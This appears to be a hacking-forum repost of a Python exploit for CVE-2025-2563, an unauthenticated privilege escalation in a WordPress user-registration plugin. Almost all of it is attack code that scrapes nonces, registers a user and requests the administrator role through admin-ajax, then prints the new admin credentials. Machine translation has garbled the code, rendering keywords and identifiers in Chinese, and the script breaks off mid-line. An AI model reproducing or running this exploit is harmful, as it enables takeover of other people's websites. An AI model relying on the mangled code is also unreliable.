H

WordPress用户注册会员插件4.1.1-未经身份验证的特权升级

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%
#利用标题: WordPress用户注册会员插件=4.1.1-未经身份验证的特权升级
#利用作者: Al Baradi Joy
#日期: 2025-04-07
#供应商homepage3360 https://wordpress.org/plugins/user-registration/
#软件link:
#版本:=4.1.1
#测试在: WordPress 6.4.3
#cvss: 9.8(关键)
#CWE: CWE-269
#参考:
https://www.wordfence.com/threat-in...ted-privilege-escalation-provilege-escalation
https://patchstack.com/database/wor...ity-vulnerability-vulnerability-vulnerability
https://nvd.nist.gov/vuln/detail/cve-2025-2563
导入
进口JSON
导入请求
导入随机
导入字符串
从urllib.parse导入urljoin
def Banner():
打印('\ n [+] CVE-2025-2563-WP用户注册特权升级')
打印('[+]由Al Baradi Joy \ n'制作)
DEF RANDSTRING(n=8):
返回''.join(random.Choices(string.ascii_lowercase,k=n))
def get_regex(内容,模式,组=1,name=''):
匹配=re.search(模式,内容)
如果不是匹配:
提高价值(f'[ - ]无法提取{name}(模式:)
{图案})')
返回竞赛。组(组)
DEF漏洞利用(目标):
session=requests.session()
用户名=randstring()
密码=randstring() +'!@'
电子邮件=f'username }@exploit.test'
TRY:
打印('[+]获取注册页面.')
r=session.get(urljoin(target,'/sigral-registration/'),
超时=10)
R.RAISE_FOR_STATUS()
page=r.text
nonce=get_regex(页面,
r''user_registration_form_data_save':'(。*?)'',name='nonce')
formid=get_regex(page,r'id='用户registration-form-([0-9]+)'',
name='formid')
memval=get_regex(页面,
r'id='Ur-Membership-Select-Membership-([0-9]+)',name='会员价值')
memname=get_regex(页面,
r'data-field-id='会员资本_Field _([0-9]+)'',name='会员资格字段名称')
front_nonce=get_regex(page,r'name='ur_frontend_form_nonce'
value='(。*?)'',name='frontend_nonce')
loc_nonce=get_regex(page,r'ur_membership_frontend_localized_data
={'_nonce':'(。*?)'',name='localized_frontend_nonce')
打印('[+]提交注册表.')
form_data=[
{'field_name':'user_login','value':用户名,'field_type':
'text','label':'用户名'},
{'field_name':'user_email','value':电子邮件,'field_type':
'电子邮件','label':'用户电子邮件'},
{'field_name':'user_pass','value':密码,'field_type':
'密码','label':'用户密码'},
{'field_name':'user_confirm_password','value':密码,
'field_type':'密码','label':'确认密码'},
{'value': memval,'field_type':'无线电','label':'会员',
'field_name': f'membership_field_ {memname}'}
这是给出的
有效载荷={
'action':'user_registration_user_form_submit',
'security': nonce,
'form_data': json.dumps(form_data),
'form_id': formid,
'registration_language':'en-us',
'ur_frontend_form_nonce': front_nonce,
'is_membership_active': memval,
'会员资格_TYPE':纪念物
}
r2=session.post(urljoin(target,'/wp-admin/admin-ajax.php'),
数据=有效载荷,超时=10)
如果“成功” :True'不在r2.Text:中
打印('[ - ]注册表失败。')
返回
打印('[+]发送会员资格注册为管理员.')
成员_payload={
'action':'user_registration_membership_register_member',
'security': loc_nonce,
'成员_data': json.dumps({
'会员':'1',
'PEALDY_METHOD':'免费',
'start_date':'2025-3-29',
'username':用户名,
“角色” :'管理员'
}))
}
r3=session.post(urljoin(target,'/wp-admin/admin-ajax.php'),
data=member_payload,超时=10)
如果在r3.Text:中'成功':True'
打印('[+]利用成功!')
打印(f'[+] admin username: {username}')
打印(f'[+]管理员密码: {password}')
其他:
打印('[ - ]会员资格升级失败。')
除异常外,E:
print(f'[ - ]利用失败: {str(e)}')
如果name=='__ -Main __':
横幅()
target=输入('输入目标WordPress网站(例如http://Example.com):
').strip()。rStrip('/')
如果不是target.startswith('http'):
target='http:
 
后退
顶部